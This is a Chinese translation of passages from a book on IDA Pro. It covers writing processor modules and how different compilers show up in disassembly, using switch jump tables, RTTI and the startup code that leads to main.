![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854101.png) 指定插件应在加载处理器时加载,不应在“编辑 ▸ 插件”菜单中列出,并修改数据库。以下输出显示了插件执行的定制效果:

.text:00401350 push ebp
.text:00401351 mov 400000h, edx
.text:00401356 mov esp, ebp
.text:00401358 mov offset unk_402060, eax
.text:0040135D sub 0Ch, esp
.text:00401360 mov edx, [esp+8]
.text:00401364 mov eax, [esp+4]
.text:00401368 mov offset unk_402060, [esp]
.text:0040136F call sub_401320
.text:00401374 cya
.text:00401375 retn


您可以通过注意常数在四条指令中作为第一个操作数出现 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854103.png) 以及 `cya` 指令被用作 `leave` 指令的替代 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854133.png) 来观察插件的效果。

在 第二十一章 中,我们将探讨使用自定义处理器插件来帮助分析某些类型的混淆二进制文件。

# 处理器模块架构

当你开始设计处理器模块时,你需要考虑的一件事是处理器是否会紧密耦合到特定的加载器,或者是否可以从所有加载器中解耦。例如,考虑 x86 处理器模块。此模块对正在反汇编的文件类型没有任何假设。因此,它很容易被集成并与其他加载器一起使用,例如 PE、ELF 和 Mach-O 加载器。

以类似的方式,当加载器能够独立于与文件一起使用的处理器处理文件格式时,它们表现出多功能性。例如,PE 加载器在包含 x86 代码或 ARM 代码时都能正常工作;ELF 加载器在包含 x86、MIPS 或 SPARC 代码时都能正常工作;Mach-O 加载器在包含 PPC 或 x86 代码时也能正常工作。

在现实世界中,CPU 适合创建不依赖于特定输入文件格式的处理器模块。另一方面,虚拟机语言则提出了更大的挑战。虽然可以使用各种加载器(如 ELF、a.out 和 PE)来在原生硬件上加载代码执行,但虚拟机通常既充当加载器又充当 CPU。结果是,对于虚拟机来说,文件格式和底层字节码密切相关。一个不能没有另一个存在。我们在开发 Python 处理器模块的过程中多次遇到了这种限制。在许多情况下,如果没有对正在反汇编的文件结构的深入了解,根本无法生成更易于阅读的输出。

为了让 Python 处理器能够访问它所需的其他信息,我们可以构建一个 Python 加载器,以非常具体的方式配置数据库,以便 Python 处理器确切地知道信息所在的位置。在这种情况下,大量的加载器状态数据需要从加载器传递到处理器。一种方法是将此类数据存储在数据库 netnodes 中,这样处理器模块稍后可以检索这些数据。

另一种方法是构建一个仅识别 *.pyc* 文件的加载器,然后告诉处理器模块它应该处理所有其他加载任务,在这种情况下,处理器肯定知道如何定位所有用于反汇编 *.pyc* 文件所需的信息。

IDA 通过允许加载器将所有加载操作推迟到相关的处理器模块来实现,从而简化了紧密耦合的加载器和处理器模块的构建。为了使加载器能够将加载推迟到处理器模块,加载器首先应该通过返回文件类型为`f_LOADER`(在`ida.hpp`中定义)来接受一个文件。如果加载器被用户选中,加载器的`load_file`函数应该在向处理器发送加载通知消息之前,如果需要,通过调用`set_processor_type`(在`idp.hpp`中定义)来确保已经指定了正确的处理器类型。为了构建一个紧密耦合的 Python 加载器/处理器组合,我们可能会构建一个具有以下`load_file`函数的加载器:

void idaapi load_file(linput_t *li, ushort neflag, const char *) {
if (ph.id != PLFM_PYTHON) { //shared processor ID
set_processor_type("python", SETPROC_ALL|SETPROC_FATAL);
}
//tell the python processor module to do the loading for us
//by sending the processor_t::loader notification message
if (ph.notify(processor_t::loader, li, neflag)) {
error("Python processor/loader failed");
}
}


当处理器模块接收到`loader`通知时,它负责将输入文件映射到数据库中,并确保它能够访问在`ana`、`emu`和`out`阶段所需的任何信息。在本书的配套网站上有一个以这种方式运行的 Python 加载器和处理器组合。

# 编写处理器模块脚本

在 IDA 5.7 中引入的,使用 IDA 的一种脚本语言创建处理器模块的能力,在某种程度上简化了处理器模块的创建。至少,它完全消除了模块创建的构建阶段。Hex-Rays 的 Elias Bachaalany 在 Hex Blog^([139])上发表了一篇关于脚本处理器模块的文章,IDA 的 EFI 字节码处理器模块是用 Python 脚本实现的(见`<IDADIR>/procs/ebc.py`)。请注意,尽管 Hex Blog 文章提供了有用的背景信息,但用于脚本处理器模块的实际 API 似乎已经发生了演变。你开始自己处理器模块脚本开发的最佳地方是 SDK 中附带的自定义模块模板(见`<SDKDIR>/module/script/proctemplate.py`)。这个模板列出了 Python 处理器模块中所需的所有字段。

脚本处理器模块使用了之前讨论的几乎所有元素。理解这些元素将有助于你过渡到脚本模块。此外,目前随 IDA(截至 IDA 6.1)一起提供的三个 Python 处理器模块是开始你自己的模块开发的优秀示例。这两个模块的结构比 SDK 中提供的 C++示例更容易理解,后者跨越多个文件,并要求你正确配置构建环境。

从一个非常高的层面来看,实现 Python 处理器模块需要两个东西:

+   定义一个`idaapi.processor_t`的子类,提供所有必需的处理器模块函数的实现,例如`emu`、`ana`、`out`和`outop`。

+   定义一个`PROCESSOR_ENTRY`函数(不是你的子类的成员)它返回你的处理器类的实例。

以下列表开始概述一些必需的元素:

from idaapi import *

class demo_processor_t(idaapi.processor_t):

Initialize required processor data fields including id and

assembler and many others. The assembler field is a dictionary

containing keys for all of the fields of an asm_t. A list of

instructions named instruc is also required. Each item in the list

is a two-element dictionary containing name and feature keys.

Also define functions required by processor_t such as those below.

def ana(self):
# analyzer behavior

def emu(self):
# emulator behavior

def out(self):
# outputter behavior

def outop(self):
# outop behavior

define the processor entry point function which instantiates

and returns an instance of processor_t

def PROCESSOR_ENTRY():
return demo_processor_t()


一个有效的 Python 处理器模块包含比上面显示的更多字段和函数,本质上反映了任何用 C++实现的处理器模块所需的字段。一旦你的脚本完成,通过将你的脚本复制到*<IDADIR>/procs*,就可以完成你的模块的安装。

* * *

^([139]) 查看 [`www.hexblog.com/?p=116`](http://www.hexblog.com/?p=116)。

# 摘要

作为 IDA 模块扩展中最复杂的部分,处理器模块的学习需要时间,创建则需要更多时间,尽管使用脚本可以在一定程度上减轻这种痛苦。然而,如果你在一个细分的市场中进行逆向工程,或者你只是喜欢站在逆向工程社区的尖端,你几乎肯定会在某个时候需要开发一个处理器模块。我们无法过分强调耐心和试错在处理器开发中的角色。当你能够将你的处理器模块与每个新收集的二进制文件一起重用时,这种辛勤的工作将得到充分的回报。

随着本章的结束,我们结束了对 IDA 扩展功能的讨论。在接下来的几章中,我们将讨论 IDA 在现实场景中的多种应用方式,并查看用户如何利用 IDA 扩展执行各种有趣的分析任务。


# 第五部分。实际应用

# 第二十章。编译器个性

![无标题的图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854059.png.jpg)

在这个阶段,如果我们已经正确地完成了我们的工作,你现在已经拥有了使用 IDA 有效使用的基本技能,更重要的是,能够按照你的意愿来操控它。下一步,年轻的跳蚤,是学习如何应对二进制(与 IDA 相反)向你投来的忍者飞镖。根据你盯着汇编语言的原因,你可能非常熟悉你所看到的内容,或者你可能永远不知道你将面临什么。如果你碰巧把所有的时间都花在检查使用 gcc 在 Linux 平台上编译的代码上,你可能会非常熟悉它生成的代码风格。另一方面,如果有人在你面前放下了一个使用 Microsoft Visual C++(VC++)编译的程序的调试版本,你可能会感到完全困惑。特别是恶意软件分析师面临着要检查的代码种类繁多。暂时不谈混淆的话题,恶意软件分析师可能会看到使用 Visual Basic、Delphi 和 Visual C/C++创建的代码;文档中嵌入的机器语言块;以及更多,这一切都在同一个下午发生。

在本章中,我们将简要地看看通过 IDA 的视角来看编译器之间的一些差异。我们的意图不是深入探讨为什么编译器会有差异;相反,我们希望涵盖一些这些差异如何在反汇编列表中体现,以及你如何解决这些差异。在其他方面,用于构建特定软件的编译器和相关选项构成了分析该软件作者的一个数据点。

尽管有各种各样的编译器可以用于各种语言,但在本章中,我们将主要使用编译后的 C 代码作为我们的示例,因为许多平台都有大量的 C 编译器可用。

# 跳转表和 switch 语句

C 的`switch`语句是编译器优化的常见目标。这些优化的目标是尽可能高效地匹配 switch 变量到一个有效的 case 标签。实现这一目标的方式通常取决于`switch`语句的情况标签的性质。当情况标签分布广泛时,如以下示例所示,大多数编译器会生成代码以执行二分搜索^([140))来匹配 switch 变量与其中一个情况。

switch (value) {
case 1:
//code executed when value == 1
break;
case 211:
//code executed when value == 211
break;
case 295:
//code executed when value == 295
break;
case 462:
//code executed when value == 462
break;
case 1093:
//code executed when value == 1093
break;
case 1839:
//code executed when value == 1839
break;
}


当情况标签紧密聚集时,最好是像这里显示的按顺序聚集,编译器通常通过执行表查找^([141])来解析 switch 变量,以匹配 switch 变量与其关联的情况的地址。

switch (value) {
case 1:
//code executed when value == 1
break;
case 2:
//code executed when value == 2
break;
case 3:
//code executed when value == 3
break;
case 4:
//code executed when value == 4
break;
case 5:
//code executed when value == 5
break;
case 6:
//code executed when value == 6
break;
}


这里展示了匹配 switch 变量与连续情况 1 到 12 的`switch`语句的编译示例:

.text:00401155 mov edx, [ebp+arg_0]
.text:00401158 cmp edx, 0Ch ; switch 13 cases
.text:0040115B ja loc_4011F1 ; default
.text:0040115B ; jumptable 00401161 case 0
.text:00401161 jmp ds:off_401168[edx*4] ; switch jump
.text:00401161 ; ---------------------------------------------------------------
.text:00401168 off_401168 dd offset loc_4011F1
; DATA XREF: sub_401150+11↑r
.text:00401168 dd offset loc_40119C ; jump table for switch statement
.text:00401168 dd offset loc_4011A1
.text:00401168 dd offset loc_4011A6
.text:00401168 dd offset loc_4011AB
.text:00401168 dd offset loc_4011B3
.text:00401168 dd offset loc_4011BB
.text:00401168 dd offset loc_4011C3
.text:00401168 dd offset loc_4011CB
.text:00401168 dd offset loc_4011D3
.text:00401168 dd offset loc_4011DB
.text:00401168 dd offset loc_4011E3
.text:00401168 dd offset loc_4011EB
.text:0040119C ; ---------------------------------------------------------------
.text:0040119C
.text:0040119C loc_40119C: ; CODE XREF: sub_401150+11↑j
.text:0040119C ; DATA XREF: sub_401150:off_401168↑o
.text:0040119C mov eax, [ebp+arg_4] ; jumptable 00401161 case 1


此示例使用 Borland 命令行编译器编译,IDA 非常了解。IDA 在分析阶段插入的注释表明,IDA 清楚地理解这是一个`switch`语句。在这个例子中,我们注意到 IDA 识别了代码中的跳转测试 ![链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png),跳转表 ![链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png),以及通过值识别的单独案例 ![链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)。

关于使用跳转表来解决`switch`案例的附加说明,请注意,前一个示例中的表包含 13 个条目,而`switch`语句已知仅测试案例 1 到 12。在这种情况下,编译器选择包含一个针对案例 0 的条目,而不是将 0 视为特殊案例。案例 0 的目标与 1 到 12 范围之外的所有其他值的目标相同 ![链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png) ![链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png)。

最后一个实现注意事项是关于对`switch`变量进行的测试的性质。对于不太熟悉 x86 指令集的读者来说,测试 ![链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 和后续行中相关的跳转可能看起来只是排除了大于 12 的值,而没有考虑到负值。如果这是真的,那么可能会造成灾难性的后果,因为使用跳转表中的负索引可能会导致意外的后果。幸运的是,`ja`(跳转以上)指令将比较视为在无符号值上执行;因此 `-1` (`0xFFFFFFFF`) 会被视为 `4294967295`,这比 12 大得多,因此被排除在跳转表索引的有效范围之外。

使用 Microsoft Visual C++编译的相同源代码导致以下反汇编列表:

.text:004013D5 mov ecx, [ebp+var_8]
.text:004013D8 sub ecx, 1
.text:004013DB mov [ebp+var_8], ecx
.text:004013DE cmp [ebp+var_8], 0Bh ; switch 12 cases
.text:004013E2 ja loc_40146E ; jumptable 004013EB default case
.text:004013E8 mov edx, [ebp+var_8]
.text:004013EB jmp ds:off_401478[edx*4] ; switch jump
.text:004013F2
.text:004013F2 loc_4013F2: ; DATA XREF:
.text:off_401478?o
.text:004013F2 mov eax, [ebp+arg_4] ; jumptable 004013EB
case 0
... ; REMAINDER OF FUNCTION EXCLUDED FOR BREVITY
.text:00401477 retn
.text:00401477 sub_4013B0 endp
.text:00401477 ; -------------------------------------------------------------
.text:00401478 off_401478 dd offset
loc_4013F2 ; DATA XREF: sub_4013B0+3B↓r
.text:00401478 dd offset loc_4013FA ; jump table for switch statement
.text:00401478 dd offset loc_401402
.text:00401478 dd offset loc_40140A
.text:00401478 dd offset loc_401415
.text:00401478 dd offset loc_401420
.text:00401478 dd offset loc_40142B
.text:00401478 dd offset loc_401436
.text:00401478 dd offset loc_401441
.text:00401478 dd offset loc_40144C
.text:00401478 dd offset loc_401458
.text:00401478 dd offset loc_401464


与 Borland 编译器生成的代码相比,有几个明显的差异。一个明显的差异是跳转表已经被移动到包含`switch`语句的函数之后的立即空间(与 Borland 代码中将跳转表嵌入函数本身的情况相反)。除了提供代码和数据之间更清晰的分离之外,以这种方式重新定位跳转表对程序的行为影响很小。尽管代码布局不同,IDA 仍然能够注释`switch`语句的关键特性,包括案例数量以及与每个案例关联的代码块。

`switch`语句的实现细节中包括这样一个事实,即 switch 变量(在这个例子中是`var_8`)被递减![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)以将有效值的范围移至 0 到 11![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png),从而使变量可以直接用作跳转表的索引![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png),无需为未使用的 case 0 创建一个虚拟槽位。因此,跳转表中的第一个条目(或零索引条目)![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)实际上指的是 switch case 1 的代码。

最后,我们将比较`switch`语句的 gcc 生成的以下代码:

.text:004011FA cmp [ebp+arg_0], 0Ch ; switch 13 cases
.text:004011FE ja loc_40129D ; jumptable 00401210 case 0
.text:00401204 mov eax, [ebp+arg_0]
.text:00401207 shl eax, 2
.text:0040120A mov eax, ds:off_402010[eax]
.text:00401210 jmp eax ; switch jump
.text:00401212
.text:00401212 loc_401212: ; DATA XREF:
.rdata:off_402010 o
.text:00401212 mov eax, [ebp+arg_4] ; jumptable 00401210 case 1
... ; REMAINDER OF .text SECTION EXCLUDED FOR BREVITY
.rdata:00402010 off_402010 dd offset
loc_40129D ; DATA XREF: sub_4011ED+1D↑r
.rdata:00402010 dd offset
loc_401212 ; jump table for switch statement
.rdata:00402010 dd offset loc_40121D
.rdata:00402010 dd offset loc_401225
.rdata:00402010 dd offset loc_40122D
.rdata:00402010 dd offset loc_40123C
.rdata:00402010 dd offset loc_40124B
.rdata:00402010 dd offset loc_40125A
.rdata:00402010 dd offset loc_401265
.rdata:00402010 dd offset loc_401270
.rdata:00402010 dd offset loc_40127B
.rdata:00402010 dd offset loc_401287
.rdata:00402010 dd offset loc_401293


这段代码与 Borland 代码有一些相似之处,这可以从与 12![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)的比较中看出,包含 13 个条目的跳转表![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png),以及在跳转表的 case 0 槽位中使用指向默认情况的指针![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)。与 Borland 代码一样,case 1 处理器的地址可以在跳转表的索引 1 处找到。gcc 代码与之前的示例之间的显著差异包括执行跳转的不同风格![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png)以及跳转表存储在二进制的只读数据(`.rdata`)部分,在`switch`语句的代码和数据之间提供了逻辑上的分离。与其他两个示例一样,IDA 能够定位并注释 switch 语句的关键元素。

我们在这里要强调的一个观点是,将源代码编译成汇编代码并没有一种唯一正确的方法。熟悉特定编译器生成的代码并不能保证您能识别出完全使用不同编译器(甚至同一编译器家族的不同版本)编译的高级结构。更重要的是,不要仅仅因为 IDA 未能添加相应的注释就假设某项内容不是`switch`语句。与您一样,IDA 对某些编译器的输出比对其他编译器的输出更熟悉。与其完全依赖 IDA 的分析能力来识别常用的代码和数据结构,您应该始终准备好利用自己的技能——您对特定汇编语言的熟悉程度、对编译器的了解以及您的研究能力——来正确解释反汇编代码。

* * *

^([140]) 对于喜欢算法分析的您来说,这意味着 switch 变量最多经过 log-2*N*次操作后就能匹配,其中*N*是`switch`语句中包含的 case 数量。

^([141]) 对于在家分析算法的读者来说,使用表查找可以在一次操作中找到目标情况,你可能还记得,在算法课程中这被称为 *常数时间* 或 *O(1)*。

# RTTI 实现

在 第八章 中,我们讨论了 C++ 运行时类型识别(RTTI)以及没有标准存在来规定编译器如何实现 RTTI 的实现方式。在二进制文件中自动识别 RTTI 相关结构是 IDA 功能随编译器而变化的另一个领域。不出所料,IDA 在这个领域的功能在用 Borland 编译器编译的二进制文件中是最强的。对自动识别 Microsoft RTTI 数据结构感兴趣的读者可以尝试在 IDA Palace 上可用的 Igor Skochinsky 的 IDC 脚本^([142]) 或 Sirmabus 的 Class Informer 插件^([143]),这些将在 第二十三章 中进一步讨论。

理解特定编译器如何为 C++ 类嵌入类型信息的简单策略是编写一个使用包含虚拟函数的类的基本程序。编译程序后,你可以将生成的可执行文件加载到 IDA 中,并搜索包含程序中使用的类名的字符串实例。无论使用哪种编译器构建二进制文件,RTTI 数据结构都具有一个共同点,即它们都包含一个指向表示其类名的字符串的指针。使用数据交叉引用,应该能够定位到这样一个字符串的指针,从而定位候选 RTTI 数据结构。最后一步是将候选 RTTI 结构链接回相关类的 vtable,这最好通过从候选 RTTI 结构反向跟踪数据交叉引用,直到到达函数指针表(vtable)来实现。

* * *

^([142]) 见 [`old.idapalace.net/idc/ms_rtti.zip`](http://old.idapalace.net/idc/ms_rtti.zip)。

^([143]) 见 [`www.openrce.org/blog/browse/Sirmabus`](http://www.openrce.org/blog/browse/Sirmabus)。

# 定位 main

如果你很幸运,可以获取你想要分析的一个 C/C++ 程序的源代码,分析的开始可能从 `main` 函数开始,因为这是执行概念上开始的地方。当面对分析二进制文件时,这是一个不错的策略。然而,正如我们所知,由于编译器/链接器(以及库的使用)在达到 `main` 之前添加了额外的代码,这使得分析变得复杂。因此,通常假设二进制文件的入口点对应于程序作者编写的 `main` 函数是不正确的。

事实上,所有程序都有一个`main`函数的观念是 C/C++编译器的惯例,而不是编写程序的硬性规则。如果你曾经编写过 Windows GUI 应用程序,那么你可能对`main`的`WinMain`变体很熟悉。一旦你离开 C/C++,你会发现其他语言为它们的入口点函数使用其他名称。无论它被称为什么,我们都会泛称这个函数为`main`函数。

第十二章介绍了 IDA 签名文件的概念、它们的生成及其应用。IDA 使用特殊的启动签名来尝试识别程序的`main`函数。当 IDA 能够将二进制文件的启动序列与签名文件中的某个启动序列相匹配时,IDA 可以根据对匹配启动例程行为的理解来定位程序的`main`函数。这很好,直到 IDA 无法将二进制文件的启动序列与任何已知的签名相匹配。一般来说,程序的启动代码与生成代码的编译器和代码构建的平台紧密相关。

回想一下第十二章中提到的,启动签名被分组并存储在针对二进制文件类型的特定签名文件中。例如,用于 PE 加载器的启动签名存储在`pe.sig`中,而用于 MS-DOS 加载器的启动签名存储在`exe.sig`中。对于给定的二进制文件类型存在签名文件并不能保证 IDA 能够 100%地识别程序的`main`函数。有太多的编译器,启动序列变化太快,以至于 IDA 无法携带所有可能的签名。

对于许多文件类型,如 ELF 和 Mach-O,IDA 根本不包含任何启动签名。最终结果是,IDA 无法使用签名在 ELF 二进制文件中定位`main`函数(尽管如果函数被命名为`main`,它将被找到)。

本讨论的目的是让你为这样一个事实做好准备,即有时你将不得不自己寻找程序的`main`函数。在这种情况下,拥有一些理解程序本身如何为调用`main`做准备的战略是有用的。例如,考虑一个被一定程度混淆的二进制文件。在这种情况下,IDA 肯定无法匹配启动签名,因为启动例程本身已经被混淆。如果你设法以某种方式去混淆二进制文件(这是第二十一章的主题),你将不仅需要自己找到`main`,还需要找到原始的启动例程。

对于具有传统 `main` 函数的 C 和 C++ 程序,^([144]) 启动代码的一个职责是设置 `main` 所需的堆栈参数,整数 `argc`(命令行参数的数量),字符指针数组 `argv`(包含命令行参数的字符串指针数组),以及字符指针数组 `envp`(包含在程序调用时设置的环境变量的字符串指针数组)。以下是从 FreeBSD 8.0 动态链接、去除了符号的二进制文件中摘录的内容,展示了 gcc 生成的启动代码如何在 FreeBSD 系统上调用 `main`:

.text:08048365 mov dword ptr [esp], offset _term_proc ; func
.text:0804836C call _atexit
.text:08048371 call _init_proc
.text:08048376 lea eax, [ebp+arg_0]
.text:08048379 mov [esp+8], esi
.text:0804837D mov [esp+4], eax
.text:08048381 mov [esp], ebx
.text:08048384 call sub_8048400
.text:08048389 mov [esp], eax ; status
.text:0804838C call _exit


在这种情况下,对 `sub_8048400` 的调用 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 实际上是调用 `main`。这段代码在许多启动序列中很典型,因为在调用 `main` 之前有对初始化函数的调用(`_atexit` ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 和 `_init_proc` ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)),而在从 `main` 返回后有一个对 `_exit` ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png) 的调用。对 `_exit` 的调用确保在 `main` 执行返回而不是调用 `_exit` 本身时程序能够干净地终止。注意,传递给 `_exit` ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png) 的参数是 EAX 寄存器中 `main` 返回的值;因此,程序的退出代码是 `main` 的返回值。

如果前面的程序是静态链接并去除了符号的,则启动例程的结构将与前面的示例相同;然而,库函数将没有有用的名称。在这种情况下,`main` 函数将继续作为唯一一个以三个参数调用的函数而突出。当然,尽早应用 FLIRT 签名也有助于恢复许多库函数的名称,并使 `main` 函数像前面示例中那样突出。

为了证明相同的编译器在不同的平台上运行时可能会生成完全不同的代码风格,考虑以下示例,它也是使用 gcc 创建的,是从 Linux 系统中提取的动态链接、去除了符号的二进制文件:

.text:080482B0 start proc near
.text:080482B0 xor ebp, ebp
.text:080482B2 pop esi
.text:080482B3 mov ecx, esp
.text:080482B5 and esp, 0FFFFFFF0h
.text:080482B8 push eax
.text:080482B9 push esp
.text:080482BA push edx
.text:080482BB push offset sub_80483C0
.text:080482C0 push offset sub_80483D0
.text:080482C5 push ecx
.text:080482C6 push esi
.text:080482C7 push offset loc_8048384
.text:080482CC call ___libc_start_main
.text:080482D1 hlt
.text:080482D1 start endp


在这个例子中,`start` 函数仅调用一次 `___libc_start_main`。`___libc_start_main` 的目的是执行与前面 FreeBSD 示例中相同的所有类型任务,包括调用 `main` 和最终 `exit`。由于 `___libc_start_main` 是一个库函数,我们知道它知道 `main` 实际位置的唯一方式是通过其参数之一(似乎有八个参数)。显然,其中两个参数 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 和 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 是函数指针,而第三个 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png) 是 `.text` 部分内的位置指针。前述列表中几乎没有关于哪个函数可能是 `main` 的线索,因此你可能需要分析三个潜在位置处的代码,以正确定位 `main`。这可能是一项有用的练习;然而,你可能更愿意简单地记住,`___libc_start_main` 的第一个参数(位于栈顶,因此是最后压入的)实际上是指向 `main` 的指针。有两个因素结合在一起阻止 IDA 将 `loc_8048384` 识别为函数(这将命名为 `sub_8048384`)。第一个因素是函数从未被直接调用,因此 `loc_8048384` 从未出现在调用指令的目标中。第二个因素是尽管 IDA 包含基于其前缀识别函数的启发式方法(这就是为什么 `sub_80483C0` 和 `sub_80483D0` 被识别为函数,尽管它们也从未被直接调用),但 `loc_8048384` 处的函数(`main`)没有使用 IDA 识别的前缀。有问题的前缀(带注释)如下所示:

.text:08048384 loc_8048384: ; DATA XREF: start+17↑o
.text:08048384 lea ecx, [esp+4] ; address of arg_0 into ecx
.text:08048388 and esp, 0FFFFFFF0h ; 16 byte align esp
.text:0804838B push dword ptr [ecx-4] ; push copy of return address
.text:0804838E push ebp ; save caller's ebp
.text:0804838F mov
ebp, esp ; initialize our frame pointer
.text:08048391 push ecx ; save ecx
.text:08048392 sub esp, 24h ; allocate locals


这个前缀明显包含了一个使用 EBP 作为帧指针的函数的传统前缀元素。在设置当前函数的帧指针 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 并最终为局部变量分配空间 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png) 之前,保存了调用者的帧指针 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)。对于 IDA 来说,问题在于这些操作不是在函数中的第一个动作,因此 IDA 的启发式方法失败了。在这个时候手动创建一个函数(编辑 ▸ 函数 ▸ 创建函数)是一个简单的问题,但你应该注意监控 IDA 的行为。就像它最初未能识别函数一样,它可能未能识别出该函数使用 EBP 作为帧指针的事实。在这种情况下,你需要编辑函数(alt-P),以强制 IDA 相信该函数有一个 *基于 BP 的帧*,并且还需要调整分配给保存寄存器和局部变量的栈字节数。

就像 FreeBSD 的二进制文件一样,如果前面的 Linux 示例既静态链接又剥离,启动例程将不会发生任何变化,除了`___libc_start_main`的名称将缺失。你仍然可以通过记住 gcc 的 Linux 启动例程只调用一个函数,并且该函数的第一个参数是`main`的地址来定位`main`。

在 Windows 这边,使用的 C/C++编译器(因此是启动例程)的数量要高一些。也许不出所料,在 Windows 上的 gcc,可以借助在其他平台上研究 gcc 行为获得的一些知识。下面显示的是 gcc/Cygwin 二进制文件的启动例程:

.text:00401000 start proc near
.text:00401000
.text:00401000 var_28 = dword ptr −28h
.text:00401000 var_24 = dword ptr −24h
.text:00401000 var_20 = dword ptr −20h
.text:00401000 var_2 = word ptr −2
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 28h
.text:00401006 and esp, 0FFFFFFF0h
.text:00401009 fnstcw [ebp+var_2]
.text:0040100C movzx eax, [ebp+var_2]
.text:00401010 and ax, 0F0C0h
.text:00401014 mov [ebp+var_2], ax
.text:00401018 movzx eax, [ebp+var_2]
.text:0040101C or ax, 33Fh
.text:00401020 mov [ebp+var_2], ax
.text:00401024 fldcw [ebp+var_2]
.text:00401027 mov [esp+28h+var_28], offset sub_4010B0
.text:0040102E call sub_401120


显然,这段代码与基于 Linux 的先前的例子没有直接映射。然而,有一个显著的相似之处:只调用了一个函数![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png),该函数接受一个函数指针作为参数![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)。在这种情况下,`sub_401120`起着与`___libc_start_main`相同的作用,而`sub_4010B0`最终成为程序的`main`函数。

使用 gcc/MinGW 编译的 Windows 二进制文件使用另一种样式的`start`函数,如下所示:

.text:00401280 start proc near
.text:00401280
.text:00401280 var_8 = dword ptr −8
.text:00401280
.text:00401280 push ebp
.text:00401281 mov ebp, esp
.text:00401283 sub esp, 8
.text:00401286 mov [esp+8+var_8], 1
.text:0040128D call ds:__set_app_type
.text:00401293 call sub_401150
.text:00401293 start endp


这又是 IDA 无法识别程序`main`函数的另一个例子。前面的代码对`main`的位置提供很少的线索,因为只有一个非库函数被调用![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)(`sub_401150`),而这个函数似乎没有接受任何参数(就像`main`应该做的那样)。在这种情况下,最好的做法是在`sub_401150`中继续寻找`main`。以下是`sub_401150`的一部分:

.text:0040122A call __p__environ
.text:0040122F mov eax, [eax]
.text:00401231 mov [esp+8], eax
.text:00401235 mov eax, ds:dword_404000
.text:0040123A mov [esp+4], eax
.text:0040123E mov eax, ds:dword_404004
.text:00401243 mov [esp], eax
.text:00401246 call sub_401395
.text:0040124B mov ebx, eax
.text:0040124D call _cexit
.text:00401252 mov [esp], ebx
.text:00401255 call ExitProcess


